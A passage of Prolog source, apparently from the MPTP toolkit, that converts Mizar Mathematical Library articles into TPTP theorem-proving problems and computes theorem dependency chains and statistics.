are in the list.\n%% Note that the fraenkels will not be uniformly abstracted when calling this\n%% multiple times for different articles - use mk_problems_from_articlelist for that.\n%% Names should have the form xboole_1__t40_xboole_1 (i.e.: Article__Problem),\n%% or list of article positions of the form card_1__pos(980,19)\nmk_problems_from_list(List,AddOptions):-\n\tdeclare_mptp_predicates,load_mml,\n\tfindall([Article, Problem],\n\t\t( member(Name,List), concat_atom([Article,Problem], '__', Name)),\n\t\tPairs), !,\n\tmaplist(nth1(1),Pairs,Articles),\n\tsort(Articles, L),!,\n\tmember(A,L),\n\tfindall(P,\n\t\t(\n\t\t member([A,P0], Pairs),\n\t\t (\n\t\t  atom_concat(pos, _, P0) ->\n\t\t  term_to_atom(P,P0)\n\t\t ;\n\t\t  P = P0\n\t\t )\n\t\t),\n\t\tAList),\n\tunion([opt_REM_SCH_CONSTS,opt_MK_TPTP_INF], AddOptions, Options),\n\tmk_article_problems(A,[[mizar_by,mizar_from,mizar_proof],\n\t\t\t       [theorem, top_level_lemma],\n\t\t\t       problem_list(AList)], Options),fail.\n\n%% ##TEST: :- mk_problems_from_file('mptp_chall_problems').\nmk_problems_from_file(File):-\n\topen(File,read,S),\n\tread_lines(S,List),\n\tclose(S),!,\n\tmk_problems_from_list(List).\n\n%% ##TEST: :- mk_problems_from_file('mptp_chall_problems',[opt_PROB_PRINT_FUNC(print_refs_as_one_fla)]).\n%% ##TEST: :- mk_problems_from_file('rootsnonnum246',[opt_TPTP_SHORT]).\n%% ##TEST: :- mk_problems_from_file('rootsnonnum246',[opt_TPTP_SHORT,opt_PROB_PRINT_FUNC(print_refs_as_tptp_includes)]).\n%% ##TEST: :- read_file_lines('00includes_with_problem_articles',AllIncludes),mk_problems_from_file('rootsnonnum246',[opt_TPTP_SHORT,opt_PROB_PRINT_FUNC(print_refs_as_tptp_includes),opt_PP_SMALLER_INCLUDES(AllIncludes)]).\n%% ##TEST: :- all_articles(AllIncludes),mk_problems_from_file('rootsnonnum246',[opt_TPTP_SHORT,opt_PROB_PRINT_FUNC(print_refs_as_tptp_includes),opt_PP_SMALLER_INCLUDES([hidden,tarski|AllIncludes])]).\nmk_problems_from_file(File, AddOptions):-\n\topen(File,read,S),\n\tread_lines(S,List),\n\tclose(S),!,\n\tmk_problems_from_list(List, AddOptions).\n\n\n%% Use this for generating all problems for a set of articles with the\n%% .allowed_local info for creating problems containing all previous\n%% references.\n\n%% ##TEST: :- declare_mptp_predicates,load_mml,install_index,all_articles(AA),checklist(abstract_fraenkels_if, AA),!,member(A,[tarski,xboole_0,xcmplx_0]),time(mk_article_problems(A,[[mizar_by,mizar_from,mizar_proof],[theorem, top_level_lemma, sublemma] ],[opt_LOAD_MIZ_ERRORS,opt_ARTICLE_AS_TPTP_AXS,opt_REM_SCH_CONSTS,opt_TPTP_SHORT,opt_LINE_COL_NMS,opt_PRINT_PROB_PROGRESS,opt_ALLOWED_REF_INFO,opt_PROVED_BY_INFO])),fail.\n\n%% These two can be used for generating normal and chainy problems for\n%% all MML. The chainy version gives uses the whole theory of the\n%% current article. A super-chainy version can be done by replacing\n%% article's includes with the preceding articles in mml.lar .\n\n%% ##TEST: :- declare_mptp_predicates,load_mml,install_index,all_articles(AA),checklist(abstract_fraenkels_if, AA),mml_dir(Dir), sformat(MmlLar, '~s../mml.lar', [Dir]), mk_problems_from_articlelist(MmlLar,[[mizar_by,mizar_from,mizar_proof], [theorem, top_level_lemma]], [opt_TPTP_SHORT,opt_PROB_PRINT_FUNC(print_refs_as_tptp_includes)]).\n%% ##TEST: :- declare_mptp_predicates,load_mml,install_index,all_articles(AA),checklist(abstract_fraenkels_if, AA),mml_dir(Dir), sformat(MmlLar, '~s../mml.lar', [Dir]), mk_problems_from_articlelist(MmlLar,[[mizar_by,mizar_from,mizar_proof], [theorem, top_level_lemma]], [opt_TPTP_SHORT]).\nmk_problems_from_articlelist(File, Kinds, AddOptions):-\n        open(File,read,S),\n        read_lines(S,AList),\n        close(S),!,\n\tunion([opt_REM_SCH_CONSTS,opt_MK_TPTP_INF], AddOptions, Options),!,\n\tmember(A,AList),\n\tmk_article_problems(A,Kinds, Options),\n\tfail.\n\n\n%% this takes time, better do the simple versions for all\n%% ##TEST: :- test_refs_first100.\ntest_refs_first100:-\n\tdeclare_mptp_predicates,load_mml,first100(L),!,\n\tmember(A,L),test_refs(A),fail.\n\n%% ##TEST: :- test_refs_simple_first100.\ntest_refs_simple_first100:-\n\tdeclare_mptp_predicates,first100(L),!,\n\tmember(A,L),test_refs_simple(A),fail.\n\n%% ##TEST: :- test_refs_simple_all.\ntest_refs_simple_all:-\n\tdeclare_mptp_predicates,all_articles(L),!,\n\tmember(A,L),test_refs_simple(A),fail.\n\n%% print all theorems in standard TPTP, so that it can be cnf-ed by E\nprint_thms_for_cnf:-\n\tall_articles(L),\n\tdeclare_mptp_predicates,\n\tload_mml,\n\tinstall_index,\n\t(member(A2,L), abstract_fraenkels(A2, [], _, _),fail; true), !,\n\tinstall_index,\n\ttell('TheoremsInTPTP'),!,\n\t(\n\t  member(A1,L),\n\t  fof_file(A1,I),\n\t  clause(fof(A,theorem,B,C,[mptp_info(_,_,theorem,_,_)|_]),_,I),\n\t  sort_transform_top(B,B1),\n\t  numbervars(B1,0,_),\n\t  print(fof(A,axiom,B1,C)),write('.'),nl,fail;\n\t  told\n\t).\n\n%% print defs and thms, with only top-level references\nprint_thms_and_defs_for_learning:-\n\tdeclare_mptp_predicates,\n\tload_theorems,\n\tinstall_index,\n\ttell('Proof_learning'),\n\t%% print definitions - they have no proof\n\t((fof(Name,definition,A1,A2,A3),\n\t  numbervars(A1,0,_),\n\t  print(fof(Name,definition,A1,A2,A3)),\n\t  write('.'),nl,\n\t  fail);\n\t    true),\n\t%% print theorems, with only thm and def references\n\t((fof(Name,theorem,A1,A2,[A3,inference(A4,A5,Refs)]),\n\t  findall(Ref,(member(Ref,Refs),atom_chars(Ref,[C|_]),\n\t\t       member(C,[t,d])), Refs1),\n\t  numbervars(A1,0,_),\n\t  print(fof(Name,theorem,A1,A2,[A3,inference(A4,A5,Refs1)])),\n\t  write('.'),nl,\n\t  fail);\n\t    told).\n\n%% number all available fofs in their order in the prolog database\n%% storing the numbering in fof_pcl_id (yes, this is used for the pcl protocol)\nnumber_fofs:-\n\tabolish(fof_pcl_id/2),\n\tdynamic(fof_pcl_id/2),\n\tfindall(NRef1,fof(NRef1,_,_,_,_),Refs),!,\n\trepeat,\n\t(\n\t  nth1(N,Refs,Ref),\n\t  assert(fof_pcl_id(Ref, N)),\n\t  fail\n\t;\n\t  true\n\t).\n\n\n%% mptp2tptp(+InFile,+Options,+OutFile)\n%%\n%% Read InFile with theorems in MPTP syntax, translate it to\n%% TPTP syntax in OutFile.\n%% The files can be given both as atoms and strings.\n%% This outputs only the required flas, no background is added.\n%% Options is normally just [], unless local constants are present (e.g. in top-level lemmas).\n%% In that case use opt_NO_FRAENKEL_CONST_GEN, otherwise abstract_fraenkels\n%% breaks.\n%% Option opt_PRUNE_TREE_FOR_FILE(+File) causes to include all fofs coming from File,\n%% and only those other fofs which are needed for the inference parents of those fofs.\n%% This can be used to make the OutFile's size significantly smaller for apps like AgInt.\n%% Option opt_PCL prints the inference infos in the PCL format, and therefore\n%% also numbers the formulas, assuming that in the input file, parents come before children.\n%%\n%% ##TEST: :- mptp2tptp(\"matrix11.agin\",[opt_PCL,opt_PRUNE_TREE_FOR_FILE(matrix11),opt_NO_FRAENKEL_CONST_GEN],\"matrix11.agin13\").\n%% ##TEST: :- mptp2tptp(\"matrix11.agin\",[opt_PRUNE_TREE_FOR_FILE(matrix11),opt_NO_FRAENKEL_CONST_GEN],\"matrix11.agin13\").\nmptp2tptp(InFile,Options,OutFile):-\n\t(atom(InFile) ->\n\t    InFile1 = InFile\n\t;\n\t    string_to_atom(InFile, InFile1)\n\t),\n\t(atom(OutFile) ->\n\t    OutFile1 = OutFile\n\t;\n\t    string_to_atom(OutFile, OutFile1)\n\t),\n\tdeclare_mptp_predicates,\n\tconsult(InFile1),\n\t(member(opt_PCL, Options) ->\n\t    number_fofs\n\t;\n\t    true\n\t),\n\tinstall_index,\n\t%% find all the article names for our flas -\n\t%% abstract_fraenkels/4 requires it now\n\tfindall(AName,fof_file(AName,_),ANames1),\n\tsort(ANames1, ArticleNames),\n\tfindall(FraenkelName,\n\t\t(\n\t\t  member(Article, ArticleNames),\n\t\t  once(abstract_fraenkels(Article, Options, _, ArticleFrNames)),\n\t\t  member(FraenkelName, ArticleFrNames)\n\t\t),\n\t\tAddedFraenkelNames), !,\n\tinstall_index,!,\n\n\tRefCodes = [t,d,s,l],\n\t(member(opt_PRUNE_TREE_FOR_FILE(PFile), Options) ->\n\t    findall(ARef2,\n\t\t    (\n\t\t      fof_file(PFile,AId),\n\t\t      clause(fof(ARef1,_,_,file(_,_),AInfo),_,AId),\n\t\t      AInfo = [mptp_info(_,_,_,_,_), inference(_,_,ARefs0) |_],\n\t\t      member(ARef0,[ARef1|ARefs0]),\n\t\t      atom_chars(ARef0,[C1|Cs1]),\n\t\t      member(C1,RefCodes),\n\t\t      fix_sch_ref(ARef0,[C1|Cs1],ARef2)\n\t\t    ),\n\t\t    PrintedNames1),\n\t    sort(PrintedNames1, PrintedNames)\n\t;\n\t    PrintedNames = []  %% just a suitable value\n\t),\n\n\ttell(OutFile1),\n\t(\n\t  fof(Name,Role,Fla,file(A,Sec),Info),\n\t  (\n\t    PrintedNames \\= [],\n\t    member(Name,PrintedNames)\n\t  ;\n\t    PrintedNames = []\n\t  ),\n\t  not(member(Name, AddedFraenkelNames)),\n\t  (Info = [mptp_info(_,_,_,_,_), inference(_,_,Refs) | _] ->\n\t      findall(Ref,(member(Ref0,Refs),atom_chars(Ref0,[C|Cs]),\n\t\t\t   member(C,RefCodes),fix_sch_ref(Ref0,[C|Cs],Ref)), Refs2),\n\t      sort_transform_top(Fla,Fla1),\n\t      numbervars(Fla1,0,_),\n\t      %% ###TODO: remove this when Geoff allows inferences without parents\n\t      (Refs2 = [] ->\n\t\t  (member(opt_PCL, Options) ->\n\t\t      fof_pcl_id(Name,NId),\n\t\t      write(NId), write(' : : '),\n\t\t      print(Fla1), write(' : '),\n\t\t      string_to_atom(A1,A),\n\t\t      print(initial(A1,Name))\n\t\t  ;\n\t\t      print(fof(Name,theorem,Fla1,file(A,Sec))),\n\t\t      write('.')\n\t\t  )\n\t      ;\n\t\t  (member(opt_PCL, Options) ->\n\t\t      fof_pcl_id(Name,NId),\n\t\t      write(NId), write(' : : '),\n\t\t      print(Fla1), write(' : '),\n\t\t      maplist(fof_pcl_id,Refs2,Ids2),\n\t\t      Info1 =.. [foreign_gen|Ids2],\n\t\t      print(Info1), write(' : '), print(Name)\n\n\t\t  ;\n\t\t      Info1 = inference(mizar_proof,[status(thm)],Refs2),\n\t\t      print(fof(Name,theorem,Fla1,Info1,[file(A,Sec)])),\n\t\t      write('.')\n\t\t  )\n\t      )\n\t  ;\n\t      sort_transform_top(Fla,Fla1),\n\t      numbervars(Fla1,0,_),\n\t      (member(opt_PCL, Options) ->\n\t\t  fof_pcl_id(Name,NId),\n\t\t  write(NId), write(' : : '),\n\t\t  print(Fla1), write(' : '),\n\t\t  string_to_atom(A1,A),\n\t\t  print(initial(A1,Name))\n\t      ;\n\t\t  print(fof(Name,Role,Fla1,file(A,Sec))),\n\t\t  write('.')\n\t      )\n\t  ),\n\t  nl,\n\t  fail\n\t;\n\t  told\n\t).\n\n%% thms2tptp(+OutDirectory)\n%%\n%% translate all mml theorems and top-level lemmas to TPTP,\n%% each into file Article.(lem|the|sch)3 in OutDirectory\n%% ##TEST: :- thms2tptp('/home/urban/mptp0.2/00tmp3/').\nthms2tptp(OutDirectory):-\n\tmml_dir_atom(MMLDir),\n\tall_articles(List),\n\tmember(A,[tarski|List]),\n\tmember([Kind|Options],[[lem, opt_NO_FRAENKEL_CONST_GEN],[the],[sch]]),\n\tconcat_atom([MMLDir, A, '.', Kind, '2'], InFile),\n\tconcat_atom([OutDirectory, A, '.', Kind, '3'], OutFile),\n\tonce(mptp2tptp(InFile,Options,OutFile)),\n\tfail.\n\n%% mml2tptp(+OutDirectory)\n%%\n%% translate all of mml (theorems, top-level lemmas, constructor info and clusters)\n%% each into file Article.(lem|the|dco|dcl)3 in OutDirectory\n%% ##TEST: :- mml2tptp('/home/urban/mptp0.2/00tmp4/').\nmml2tptp(OutDirectory):-\n\tmml_dir_atom(MMLDir),\n\tall_articles(List),\n\tmember(A,[hidden,tarski|List]),\n\tmember([Kind|Options],[[lem, opt_NO_FRAENKEL_CONST_GEN],[the],[dco],[dcl]]),\n\tconcat_atom([MMLDir, A, '.', Kind, '2'], InFile),\n\texists_file(InFile),\n\tconcat_atom([OutDirectory, A, '.', Kind, '3'], OutFile),\n\tonce(mptp2tptp(InFile,Options,OutFile)),\n\tfail.\n\n%% article2tptp_include(+OutDirectory, +A)\n%%\n%% Generate include file ( .ax) in TPTP format from MML article A,\n%% and place it into OutDirectory.\narticle2tptp_include(OutDirectory,A):-\n\tconcat_atom([OutDirectory, A, '.', ax], OutFile),\n\ttell(OutFile),\n\trepeat,\n\t(\n\t  fof_file(A,AId),\n\t  clause(fof(Name,_Role,Fla,file(A,_Sec),_Info),_,AId),\n\t  sort_transform_top(Fla,Fla1),\n\t  numbervars(Fla1,0,_),\n\t  print(fof(Name,axiom,Fla1)),\n\t  write('.'),nl,\n\t  fail\n\t;\n\t  told\n\t).\n\n%% Generate include files in TPTP format from each MML article.\n%% Fraenkels are generated, but scheme instances and special\n%% on-demand requirement formulas are not included (they rather\n%% belong to particular problems). Lemmas are not included.\n%% ##TEST: :- mml2tptp_includes('00tmp6/').\nmml2tptp_includes(OutDirectory):-\n\tdeclare_mptp_predicates,\n\tload_mml,\n\tinstall_index,\n\tall_articles(ArticleNames),\n\tchecklist(abstract_fraenkels_if, ArticleNames),\n\tinstall_index,\n\tchecklist(article2tptp_include(OutDirectory), [hidden, tarski | ArticleNames]).\n\n%% For all articles create the inference dag of its top-level theorems\n%% (and lemmas and schemes), including needed stuff from other articles\n%% as axioms. No background is added, each article is written to\n%% problems/Article.top, and is suitable for running AGInTRater on it.\n%% ##TEST: :- create_top_infers.\ncreate_top_infers:-\n\tdeclare_mptp_predicates,\n\tload_mml,\n\tload_lemmas,\n\tall_articles(ArticleNames),\n\tinstall_index,\n\tfindall(FraenkelName,\n\t\t(\n\t\t  member(Article, ArticleNames),\n\t\t  once(abstract_fraenkels(Article, [opt_NO_FRAENKEL_CONST_GEN], _, ArticleFrNames)),\n\t\t  member(FraenkelName, ArticleFrNames)\n\t\t),\n\t\t_AddedFraenkelNames), !,\n\tinstall_index,!,\n\n\tRefCodes = [t,d,s,l],\n\tmember(PFile, ArticleNames),\n\tfindall(ARef2,\n\t\t(\n\t\t  fof_file(PFile,AId),\n\t\t  clause(fof(ARef1,_,_,file(_,_),AInfo),_,AId),\n\t\t  AInfo = [mptp_info(_,_,_,_,_), inference(_,_,ARefs0) |_],\n\t\t  member(ARef0,[ARef1|ARefs0]),\n\t\t  atom_chars(ARef0,[C1|Cs1]),\n\t\t  member(C1,RefCodes),\n\t\t  fix_sch_ref(ARef0,[C1|Cs1],ARef2)\n\t\t),\n\t\tPrintedNames1),\n\tsort(PrintedNames1, PrintedNames),\n\tconcat_atom([problems,'/',PFile,'.top'], OutFile1),\n\ttell(OutFile1),\n\t(\n\n\t  member(Name,PrintedNames),\n\t  get_ref_fof(Name, fof(Name,Role,Fla,file(A,Name),Info)),\n\t  ((A = PFile, Info = [mptp_info(_,_,_,_,_), inference(_,_,Refs) | _]) ->\n\t      findall(Ref,(member(Ref0,Refs),atom_chars(Ref0,[C|Cs]),\n\t\t\t   member(C,RefCodes),fix_sch_ref(Ref0,[C|Cs],Ref)), Refs2),\n\t      sort_transform_top(Fla,Fla1),\n\t      numbervars(Fla1,0,_),\n\t      %% ###TODO: remove this when Geoff allows inferences without parents\n\t      (Refs2 = [] ->\n\t\t  print(fof(Name,theorem,Fla1,file(A,Name))),\n\t\t  write('.')\n\t      ;\n\t\t  Info1 = inference(mizar_proof,[status(thm)],Refs2),\n\t\t  print(fof(Name,theorem,Fla1,Info1,[file(A,Name)])),\n\t\t  write('.')\n\t      )\n\t  ;\n\t      sort_transform_top(Fla,Fla1),\n\t      numbervars(Fla1,0,_),\n\t      print(fof(Name,Role,Fla1,file(A,Name))),\n\t      write('.')\n\t  ),\n\t  nl,\n\t  fail\n\t;\n\t  told\n\t),\n\tfail.\n\n\n\n%% reads ProvedFile and prints comparison of the proofs there\n%% with the MML proofs; sorted by the difference between the\n%% numbers of explicit references\ncompare_proved_by_refsnr(ProvedFile):-\n\tdeclare_mptp_predicates,\n\tload_mml,\n\tinstall_index,\n\tconsult(ProvedFile),\n\tfindall([Diff,R1,Refs0,Refs1,BG],\n\t\t(\n\t\t  proved(R1,_F,Refs0,BG,_I),\n\t\t  get_ref_fof(R1,fof(R1,_,_,_,[_,inference(_,_,I3)|_])),\n\t\t  findall(Ref, (member(Ref,I3), atom_chars(Ref,[C|_]),\n\t\t\t\t   member(C,[t,d])),\n\t\t\t  Refs11),\n\t\t  sort(Refs11,Refs1),\n\t\t  length(Refs0,N1), length(Refs1,N2),\n\t\t  Diff is N1 - N2),\n\t\tTuples),\n\tsort(Tuples,T1),\n\tchecklist(print_nl,T1).\n\n%% fix_sch_ref(+SchemeRefIn,+SchChars,-SchemeRefOut)\n%%\n%% If SchChars contain '__', then they are scheme instance like s1_ordinal1__e8_6__wellord2.\n%% In that case return only the part before '__', i.e. s1_ordinal1.\n%% Otherwise return SchemeRefIn.\nfix_sch_ref(Ref0,[s|Cs],Ref1):- !,\n\t%% find the part before \"__\"\n\t(append(S1,['_','_'|_],[s|Cs]) ->\n\t    atom_chars(Ref1,S1);\n\t    Ref1 = Ref0\n\t).\nfix_sch_ref(Ref0,_,Ref0).\n\n%% get_rec_uses - not for defs and clusters yet, just theorems, schemes and top-level lemmas\nget_rec_uses(Name,_,NN,LRec1,LRecNN1,CL1,CLNN1,Last1,LastNN1,CLast1,CLastNN1,AllRecTmpS1,AllRecTmpNNS1):-\n\tatom(Name),\n\tth_rec_uses(Name,NN,LRec1,LRecNN1,CL1,CLNN1,Last1,LastNN1,CLast1,CLastNN1,AllRecTmpS1,AllRecTmpNNS1),!.\n\nget_rec_uses(Name,RefCodes,NN,LRec1,LRecNN1,CL1,CLNN1,Last1,LastNN1,CLast1,CLastNN1,AllRecTmpS1,AllRecTmpNNS1):-\n\tfof(Name,Role,_,file(A,Name),Info),!,\n\t(nonnumeric(A) -> NN = t; NN = f),\n\tInfo = [mptp_info(_,_,_,_,_), inference(_,_,Refs) |_],\n\tonce((\n\t  findall(Ref,(member(Ref0,Refs),atom_chars(Ref0,[C|Cs]),\n\t\t       member(C,RefCodes),fix_sch_ref(Ref0,[C|Cs],Ref)), Refs1),\n\n\t  %% find recursive dependencies\n\t  findall(Reff1,\n\t\t  (member(Ref1,Refs1),get_rec_uses(Ref1,RefCodes,_,_,_,_,_,_,_,_,_,RefsAll1,_),\n\t\t      member(Reff1,[Ref1|RefsAll1])),\n\t\t  AllRecTmp1),\n\t  sort(AllRecTmp1,AllRecTmpS1),\n\n\t  %% find largest direct dependence (or f is none)\n\t  findall([L_Dref1,DRef1],(member(DRef1,Refs1),get_rec_uses(DRef1,RefCodes,_,L_Dref1,_,_,_,_,_,_,_,_,_)),Lengths1),\n\t  sort(Lengths1,SLengths1),\n\t  (last(SLengths1,Last1) -> true; Last1 = f),\n\n\t  %% find longest chain dependence (or f is none), update my chain length\n\t  findall([LC_Dref1,C_DRef1],(member(C_DRef1,Refs1),get_rec_uses(C_DRef1,RefCodes,_,_,_,LC_Dref1,_,_,_,_,_,_,_)),C_Lengths1),\n\t  sort(C_Lengths1,SCLengths1),\n\t  (last(SCLengths1,CLast1) -> (CLast1 = [CLL1,_], CL1 is CLL1 + 1); (CLast1 = f, CL1 = 1)),\n\n\t  %% find recursive nonnumeric dependencies\n\t  findall(ReffNN1,\n\t\t  (member(RefNN1,Refs1),get_rec_uses(RefNN1,RefCodes,t,_,_,_,_,_,_,_,_,_,RefsAllNN1),\n\t\t      member(ReffNN1,[RefNN1|RefsAllNN1])),\n\t\t  AllRecTmpNN1),\n\t  sort(AllRecTmpNN1,AllRecTmpNNS1),\n\n\t  %% find largest direct nonnumeric dependence (or f is none)\n\t  findall([L_DRefNN1,DRefNN1],(member(DRefNN1,Refs1),get_rec_uses(DRefNN1,RefCodes,_,_,L_DRefNN1,_,_,_,_,_,_,_,_)),LengthsNN1),\n\t  sort(LengthsNN1,SLengthsNN1),\n\t  (last(SLengthsNN1,LastNN1) -> true; LastNN1 = f),\n\n\t  %% find longest nonnumeric chain dependence (or f is none), update my nonnumeric chain length\n\t  findall([LC_DRefNN1,C_DRefNN1],(member(C_DRefNN1,Refs1),get_rec_uses(C_DRefNN1,RefCodes,t,_,_,_,LC_DRefNN1,_,_,_,_,_,_)),C_LengthsNN1),\n\t  sort(C_LengthsNN1,SCLengthsNN1),\n\t  (last(SCLengthsNN1,CLastNN1) -> CLastNN1 = [CLLNNTmp1,_];  (CLastNN1 = f, CLLNNTmp1 = 0)),\n\t  (NN = t -> CLNN1 is CLLNNTmp1 + 1; CLNN1 = CLLNNTmp1),\n\n\t\ttrue,\n\t  maplist(length,[AllRecTmpS1,AllRecTmpNNS1],[LRec1,LRecNN1]),\n\t  assert(th_rec_uses(Name,NN,LRec1,LRecNN1,CL1,CLNN1,Last1,LastNN1,CLast1,CLastNN1,AllRecTmpS1,AllRecTmpNNS1))\n\t     )), !.\n\n\n\n\n%% This is used for selecting problems for MPTP challenege:\n%% find recursive dependencies of theorems, theorems chains, and all also\n%% nonnumerical; print it on-the-fly, because for all articles it now crashes\n%% on jgraph_6; results are assrted into th_rec_uses/12\n%% th_rec_uses(Theorem,Nonnumerical,LengthAllRec,LengthAllRecNN,AllChainLength,\n%%             AllNNChainLength,LargestParent,LargestParentNN,LongestParent,\n%%             LongestParentNN,AllRecUses,AllRecNonNumUses)\ndo_th_stats(File):-\n\tdo_th_stats(File,[]),!.\n\ndo_th_stats(File,Options):-\n\tdeclare_mptp_predicates,\n\tload_theorems,\n\tload_environs,\n\t(member(o_ths_TL_LEMMAS, Options) -> (RefCodes1= [l], load_lemmas); RefCodes1=[]),\n\t(member(o_ths_SCHEMES, Options) -> (RefCodes=[t,s|RefCodes1], load_schemes); RefCodes=[t|RefCodes1]),\n\tinstall_index,\n\tall_articles(Articles),\n%\tArticles = [xboole_0,boole,xboole_1,enumset1],\n%\tArticles = [jgraph_6],\n%\tfirst100(Articles),\n\tabolish(th_rec_uses/12),\n\tabolish(th_rec_usedby/12),\n\tdynamic(th_rec_uses/12),\n\tdynamic(th_rec_usedby/12),!,\n%\ttell(TrainFile),\n\t%% this no longer assumes mml order of Articles\n\t(\n\t  member(A,[tarski|Articles]),\t\twrite(A),nl,\n%\t  (nonnumeric(A) -> NN = t; NN = f),\n\t  fof(Name,theorem,_,file(A,Name),Info),\n\t  get_rec_uses(Name,RefCodes,_NN,_LRec1,_LRecNN1,_CL1,_CLNN1,_Last1,_LastNN1,_CLast1,_CLastNN1,_AllRecTmpS1,_AllRecTmpNNS1),\n\t  fail\n\t;\n\t  true\n\t).\n\n%% expand_sch_refs(+InRefs, +RefCodes, -OutRefs)\n%%\n%% All scheme references in InRefs are recursively expanded.\n%% The result is sorted into OutRefs. Only references starting with\n%% RefCodes are used for recursive expansion.\nexpand_sch_refs([], _, []).\n\nexpand_sch_refs([Ref|Refs], RefCodes, OutRefs):-\n\tatom_chars(Ref,[C|_]),\n\t( C = s ->\n\t    fof(Ref,_,_,file(_,Ref),Info),\n\t    Info = [mptp_info(_,_,_,_,_), inference(_,_,Refs1) |_],\n\t    findall(Ref1,(member(Ref0,Refs1),atom_chars(Ref0,[C0|Cs0]),\n\t\t\t  member(C0,RefCodes),fix_sch_ref(Ref0,[C0|Cs0],Ref1)), Refs2),\n\t    expand_sch_refs(Refs2, RefCodes, OutRefs2),\n\t    expand_sch_refs(Refs, RefCodes, OutRefs1),\n\t    append(OutRefs2, OutRefs1, OutRefs)\n\t;\n\t    expand_sch_refs(Refs, RefCodes, OutRefs1),\n\t    ( member(C,RefCodes) ->\n\t\tOutRefs = [Ref|OutRefs1]\n\t    ;\n\t\tOutRefs = OutRefs1\n\t    )\n\t).\n\n%% prints the nonumerical chain (actually tree) ending with LastTh,\n%% needs to run do_th_stats/1 first\n%% Option o_ths_EXPAND_SCHREFS causes to recursively replace all references to schemes\n%% with their references.\n%% the graph for mptp challenge was generated this way:\n%% ##TEST:\n%% :- do_th_stats(_,[o_ths_SCHEMES,o_ths_TL_LEMMAS]).\n%% :- print_nn_chain(l37_yellow19,[o_ths_SCHEMES,o_ths_TL_LEMMAS,o_ths_EXPAND_SCHREFS]).\nprint_nn_chain(LastTh):- print_nn_chain(LastTh,[]).\nprint_nn_chain(LastTh,Options):-\n\tall_articles(L),\n\tdeclare_mptp_predicates,\n\tload_mml,\n\tinstall_index,!,\n\t%% abstracting will probably fail if lemmas are loaded without top-level constant types!\n\t%% therefore the lemmas are loaded after abstracting;\n\t%% if some fraenkel is in them, bad luck (and manual work now)\n\t(member(A2,L), abstract_fraenkels(A2, [], _, _),fail; true), !,\n\t(member(o_ths_TL_LEMMAS, Options) -> (RefCodes2= [l], load_lemmas); RefCodes2=[]),\n\t(member(o_ths_DEFS, Options) -> RefCodes1= [d|RefCodes2]; RefCodes1=RefCodes2),\n\t(member(o_ths_SCHEMES, Options) -> RefCodes=[t,s|RefCodes1]; RefCodes=[t|RefCodes1]),\n\tinstall_index,!,\n\tth_rec_uses(LastTh,_,_,_,_,_,_,_,_,_,U,_),\n\t%% definitions are not in th_rec_uses now, so find them\n\tfindall(DefRef,\n\t\t(\n\t\t  member(Name,[LastTh|U]),\n\t\t  fof(Name,_,_,_,Info),\n\t\t  Info = [mptp_info(_,_,_,_,_), inference(_,_,Refs) |_],\n\t\t  member(DefRef,Refs),atom_chars(DefRef,[d|_])\n\t\t),\n\t\tDefRefs1),!,\n\tsort(DefRefs1, DefRefs),!,\n\t(\n\t  member(Name,[LastTh|U]),\n\t  fof(Name,_,Fla,file(A,Name),Info),\n\t  Info = [mptp_info(_,_,_,_,_), inference(_,_,Refs) |_],\n\t  findall(Ref,(member(Ref0,Refs),atom_chars(Ref0,[C|Cs]),\n\t\t       member(C,RefCodes),fix_sch_ref(Ref0,[C|Cs],Ref)), Refs1),\n\t  (member(o_ths_EXPAND_SCHREFS, Options) ->\n\t      expand_sch_refs(Refs1, RefCodes, Refs2)\n\t  ;\n\t      Refs2 = Refs1\n\t  ),\n\t  Info1 = inference(mizar_proof,[status(thm)],Refs2),\n\t  sort_transform_top(Fla,Fla1),\n\t  numbervars(Fla1,0,_),\n\t  print(fof(Name,theorem,Fla1,Info1,[file(A,Name)])),\n\t  write('.'),nl,\n\t  fail\n\t;\n\t  member(Name,DefRefs),\n\t  fof(Name,_,Fla,file(A,Name),_),\n\t  sort_transform_top(Fla,Fla1),\n\t  numbervars(Fla1,0,_),\n\t  print(fof(Name,definition,Fla1,file(A,Name))),\n\t  write('.'),nl,\n\t  fail\n\t).\n\n\ncmp_in_mml_order(Delta, Name1, Name2):-\n\tatom(Name1),\n\tatom(Name2),\n\tget_ref_fof(Name1, fof(Name1,_,_,file(Article1,_),\n\t\t\t       [mptp_info(ItemNr1, _, ItemKind1, position(Line1,Col1), _)|_])),\n\tget_ref_fof(Name2, fof(Name2,_,_,file(Article2,_),\n\t\t\t       [mptp_info(ItemNr2, _, ItemKind2, position(Line2,Col2), _)|_])),\n\tarticle_nr(Article1,ANr1),\n\tarticle_nr(Article2,ANr2),!,\n\tcompare(ADelta, ANr1, ANr2),\n\t(ADelta == '=' ->\n\t    (ItemKind1 == ItemKind2 ->\n\t\tcompare(Delta, ItemNr1, ItemNr2)\n\t    ;\n\t\t%% different kinds - have to compare by position\n\t\tcompare(Delta, [Line1,Col1], [Line2,Col2])\n\t    )\n\t;\n\t    Delta = ADelta\n\t).\n\n%% debugging\ncmp_in_mml_order(_,Name1,Name2):- throw(cmp_in_mml_order(Name1,Name2)).\n\n\n%% for articles only\ncmp_articles_in_mml_order(Delta, Article1, Article2):-\n\tatom(Article1),\n\tatom(Article2),\n\tarticle_nr(Article1,ANr1),\n\tarticle_nr(Article2,ANr2),!,\n\tcompare(Delta, ANr1, ANr2).\n\n%% debugging\ncmp_articles_in_mml_order(_,Name1,Name2):- throw(cmp_articles_in_mml_order(Name1,Name2)).\n\n\n%% number MML articles if needed\n%% takes a list of added articles (not in mml), that will be appended in their order\n%% to mml articles\nnumber_articles(Added):-  articles_numbered(Added),!.\nnumber_articles(Added):-\n\tall_articles(L1),\n\tappend([hidden,tarski|L1], Added, L),\n\tabolish(article_nr/2),\n\tdynamic(article_nr/2),!,\n\tfindall(foo, ( nth1(N,L,A), assert(article_nr(A,N))), _),\n\tassert(articles_numbered(Added)).\n\n\n\n%% sort fof names, using the article ordering, item numbers, and  positions\nsort_in_mml_order(U,U1):-\n\tnumber_articles([]),\n\tpredsort(cmp_in_mml_order,U,U1).\n\n%% sort_articles_in_mml_order(+ArticlesIn, +AddedNonMML, -ArticlesOut)\n%%\n%% Sort ArticlesIn using the article ordering in mml.lar .\n%% AddedNonMML (usually empty list) can be used to pass extra nonMML\n%% articles that will be appended to MML in that order for numbering.\nsort_articles_in_mml_order(ArticlesIn, AddedNonMML, ArticlesOut):-\n\tnumber_articles(AddedNonMML),\n\tpredsort(cmp_articles_in_mml_order,ArticlesIn,ArticlesOut).\n\n\n%% prints the graph in a .dot format\nprint_nn_chain_for_dot(LastTh):- 